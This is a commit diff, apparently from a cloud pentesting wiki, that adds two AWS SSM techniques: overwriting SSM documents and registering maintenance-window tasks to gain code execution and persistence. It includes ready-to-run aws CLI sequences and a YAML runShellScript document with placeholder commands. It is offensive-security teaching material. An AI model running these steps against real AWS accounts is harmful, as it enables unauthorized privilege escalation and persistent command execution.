Skip to content

Commit 2008a8e

Browse files
committed
Adding 2 additional SSM PrivEsc and Persistence Paths
1 parent 913bcb0 commit 2008a8e

File tree

2 files changed

+111
-0
lines changed
  • src/pentesting-cloud/aws-security
    • aws-persistence/aws-ssm-persistence
    • aws-privilege-escalation/aws-ssm-privesc

2 files changed

+111
-0
lines changed

src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,62 @@ aws ssm create-association \
2727
> [!NOTE]
2828
> This persistence method works as long as the EC2 instance is managed by Systems Manager, the SSM agent is running, and the attacker has permission to create associations. It does not require interactive sessions or explicit ssm:SendCommand permissions. **Important:** The `--schedule-expression` parameter (e.g., `rate(30 minutes)`) must respect AWS's minimum interval of 30 minutes. For immediate or one-time execution, omit `--schedule-expression` entirely — the association will execute once after creation.
2929
30+
31+
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
32+
33+
An attacker with the permissions **`ssm:UpdateDocument`** and **`ssm:UpdateDocumentDefaultVersion`** can escalate privileges by modifying existing documents. This also allows for persistence within that document. Practically the attacker would also need **`ssm:ListDocuments`** to get the names for custom documents and if the attacker wants to obfuscate their payload within an existing document **`ssm:GetDocument`** would be necessary as well.
34+
35+
```bash
36+
aws ssm list-documents
37+
aws ssm get-document --name "target-document" --document-format YAML
38+
# You will need to specify the version you're updating
39+
aws ssm update-document \
40+
--name "target-document" \
41+
--document-format YAML \
42+
--content "file://doc.yaml" \
43+
--document-version 1
44+
aws ssm update-document-default-version --name "target-document" --document-version 2
45+
```
46+
47+
Below is an example document that can be used to overwrite and existing document. You will want to ensure your document type matches the target documents type to issues with innvocation. The document below for instance will the **`ssm:SendCommand`** and **`ssm:CreateAssociation`** examples.
48+
49+
```yaml
50+
schemaVersion: '2.2'
51+
description: Execute commands on a Linux instance.
52+
parameters:
53+
commands:
54+
type: StringList
55+
description: "The commands to run."
56+
displayType: textarea
57+
mainSteps:
58+
- action: aws:runShellScript
59+
name: runCommands
60+
inputs:
61+
runCommand:
62+
- "id > /tmp/pwn_test.txt"
63+
```
64+
65+
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
66+
67+
An attacker with the permissions **`ssm:RegisterTaskWithMaintenanceWindow`** and **`ssm:RegisterTargetWithMaintenanceWindow`** can escalate privileges by first registering a new target with an existing maintenance window and then updating registering a new task. This achieves execution on the existing targets, but can allow an attacker to compromise compute with different roles by register new targets. This also allows for persistence as maintenance windows tasks are executed on a pre-defined interval during the window creation. Practically the attacker would also need **`ssm:DescribeMaintenanceWindows`** to get the maintenance window IDs.
68+
69+
``` bash
70+
aws ec2 describe-instances
71+
aws ssm describe-maintenance-window
72+
aws ssm register-target-with-maintenance-window \
73+
--window-id "<mw-id>" \
74+
--resource-type "INSTANCE" \
75+
--targets "Key=InstanceIds,Values=<instance_id>"
76+
aws ssm register-task-with-maintenance-window \
77+
--window-id "<mw-id>" \
78+
--task-arn "AWS-RunShellScript" \
79+
--task-type "RUN_COMMAND" \
80+
--targets "Key=WindowTargetIds,Values=<target_id>" \
81+
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
82+
--max-concurrency 50 \
83+
--max-errors 100
84+
```
85+
3086
{{#include ../../../../banners/hacktricks-training.md}}
3187

3288

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -138,6 +138,61 @@ aws ssm create-association \
138138
> [!NOTE]
139139
> This persistence method works as long as the EC2 instance is managed by Systems Manager, the SSM agent is running, and the attacker has permission to create associations. It does not require interactive sessions or explicit ssm:SendCommand permissions. **Important:** The `--schedule-expression` parameter (e.g., `rate(30 minutes)`) must respect AWS's minimum interval of 30 minutes. For immediate or one-time execution, omit `--schedule-expression` entirely — the association will execute once after creation.
140140
141+
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
142+
143+
An attacker with the permissions **`ssm:UpdateDocument`** and **`ssm:UpdateDocumentDefaultVersion`** can escalate privileges by modifying existing documents. This also allows for persistence within that document. Practically the attacker would also need **`ssm:ListDocuments`** to get the names for custom documents and if the attacker wants to obfuscate their payload within an existing document **`ssm:GetDocument`** would be necessary as well.
144+
145+
```bash
146+
aws ssm list-documents
147+
aws ssm get-document --name "target-document" --document-format YAML
148+
# You will need to specify the version you're updating
149+
aws ssm update-document \
150+
--name "target-document" \
151+
--document-format YAML \
152+
--content "file://doc.yaml" \
153+
--document-version 1
154+
aws ssm update-document-default-version --name "target-document" --document-version 2
155+
```
156+
157+
Below is an example document that can be used to overwrite and existing document. You will want to ensure your document type matches the target documents type to issues with innvocation. The document below for instance will the **`ssm:SendCommand`** and **`ssm:CreateAssociation`** examples.
158+
159+
```yaml
160+
schemaVersion: '2.2'
161+
description: Execute commands on a Linux instance.
162+
parameters:
163+
commands:
164+
type: StringList
165+
description: "The commands to run."
166+
displayType: textarea
167+
mainSteps:
168+
- action: aws:runShellScript
169+
name: runCommands
170+
inputs:
171+
runCommand:
172+
- "id > /tmp/pwn_test.txt"
173+
```
174+
175+
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
176+
177+
An attacker with the permissions **`ssm:RegisterTaskWithMaintenanceWindow`** and **`ssm:RegisterTargetWithMaintenanceWindow`** can escalate privileges by first registering a new target with an existing maintenance window and then updating registering a new task. This achieves execution on the existing targets, but can allow an attacker to compromise compute with different roles by register new targets. This also allows for persistence as maintenance windows tasks are executed on a pre-defined interval during the window creation. Practically the attacker would also need **`ssm:DescribeMaintenanceWindows`** to get the maintenance window IDs.
178+
179+
``` bash
180+
aws ec2 describe-instances
181+
aws ssm describe-maintenance-window
182+
aws ssm register-target-with-maintenance-window \
183+
--window-id "<mw-id>" \
184+
--resource-type "INSTANCE" \
185+
--targets "Key=InstanceIds,Values=<instance_id>"
186+
aws ssm register-task-with-maintenance-window \
187+
--window-id "<mw-id>" \
188+
--task-arn "AWS-RunShellScript" \
189+
--task-type "RUN_COMMAND" \
190+
--targets "Key=WindowTargetIds,Values=<target_id>" \
191+
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
192+
--max-concurrency 50 \
193+
--max-errors 100
194+
```
195+
141196
### Codebuild
142197

143198
You can also use SSM to get inside a codebuild project being built:

0 commit comments

Comments
 (0)